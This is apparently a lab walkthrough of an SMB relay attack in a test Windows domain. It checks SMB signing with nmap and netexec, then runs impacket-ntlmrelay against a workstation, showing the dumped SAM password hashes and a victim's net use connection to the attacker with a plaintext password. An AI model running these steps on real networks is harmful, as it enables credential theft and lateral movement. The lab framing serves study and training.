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SMB Relay Attack

Infrastructure

  • dc01: 10.10.1.200
  • ws01: 10.10.1.201
  • ws02: 10.10.1.202
  • attacker: 10.10.1.102

Pre-requisite

SMB Signing

  • using nmap

    $ nmap -vvv -p 445 -Pn --script smb2-security-mode.nse -oA nmap/smb 10.10.1.200 10.10.1.201 10.10.1.202
# Nmap 7.93 scan initiated Fri Dec 15 16:11:55 2023 as: nmap -vvv -p 445 -Pn --script smb2-security-mode.nse -oA nmap/smb 10.10.1.200 10.10.1.201 10.10.1.202
Nmap scan report for dc01 (10.10.1.200)
Host is up, received user-set (0.0011s latency).
Scanned at 2023-12-15 16:11:59 +08 for 0s

PORT    STATE SERVICE      REASON
445/tcp open  microsoft-ds syn-ack

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled and required

Nmap scan report for ws01 (10.10.1.201)
Host is up, received user-set (0.00090s latency).
Scanned at 2023-12-15 16:11:59 +08 for 0s

PORT    STATE SERVICE      REASON
445/tcp open  microsoft-ds syn-ack

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required

Nmap scan report for ws02 (10.10.1.202)
Host is up, received user-set (0.00096s latency).
Scanned at 2023-12-15 16:11:59 +08 for 0s

PORT    STATE SERVICE      REASON
445/tcp open  microsoft-ds syn-ack

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required

Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri Dec 15 16:11:59 2023 -- 3 IP addresses (3 hosts up) scanned in 3.61 seconds
    • Domain controller has Message signing enabled and required
    • Both workstations have Message signing enabled but not required (vulnerable to SMB relay attack)

  • using netexec

    $ netexec smb 10.10.1.200 10.10.1.201 10.10.1.202 --gen-relay-list smb-signing-false.txt
SMB         10.10.1.201     445    WS01             [*] Windows 10.0 Build 17763 x64 (name:WS01) (domain:oscp.lab) (signing:False) (SMBv1:False)
SMB         10.10.1.202     445    WS02             [*] Windows 10.0 Build 17763 x64 (name:WS02) (domain:oscp.lab) (signing:False) (SMBv1:False)
SMB         10.10.1.200     445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:oscp.lab) (signing:True) (SMBv1:False)
    • Domain controller has signing:True
    • Both workstations have signing:False (vulnerable to SMB relay attack)

Administrator Privilege

When relaying to target machine X from machine Y as a user domain\john, the user needs to have administrator privilege on the target machine X for this attack to work.

In the setup environment, oscp\alice is in the Administrators group on both ws01 and ws02. Thus, we could relay from anywhere (except for the target machine itself) to either ws01 or ws02 as oscp\alice. On the other hand, oscp\bob only has admin privilege on ws02. Hence, we could only relay from anywhere (dc01, ws01) to ws02 as oscp\bob.

Example

note

If impacket is installed on a virtual environment and needs to execute with sudo

sudo --preserve-env=PATH env impacket-ntlmrelay ...

Relaying from ws01 to ws02 as oscp\alice (Succeed)

Attacker

$ impacket-ntlmrelay -t 10.10.1.202 -smb2support
[...]

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.1.201, attacking target smb://10.10.1.202
[*] Authenticating against smb://10.10.1.202 as OSCP/ALICE SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x056273c5da163bf69d211acdca6423fc
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5f91be10619e258821be997884b135f7:::
bob:1002:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
[*] Done dumping SAM hashes for host: 10.10.1.202
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

Victim

C:\Users\Public> hostname
ws01

C:\Users\Public> net use \\10.10.1.102 /user:oscp\alice Passw0rd!

Relaying from ws02 to ws01 as oscp\bob (Failed)

Attacker

$ impacket-ntlmrelay -t 10.10.1.201 -smb2support
[...]

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.1.202, attacking target smb://10.10.1.201
[*] Authenticating against smb://10.10.1.201 as OSCP/BOB SUCCEED
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

Victim

C:\Users\Public> hostname
ws02

C:\Users\Public> net use \\10.10.1.102 /user:oscp\bob Passw0rd!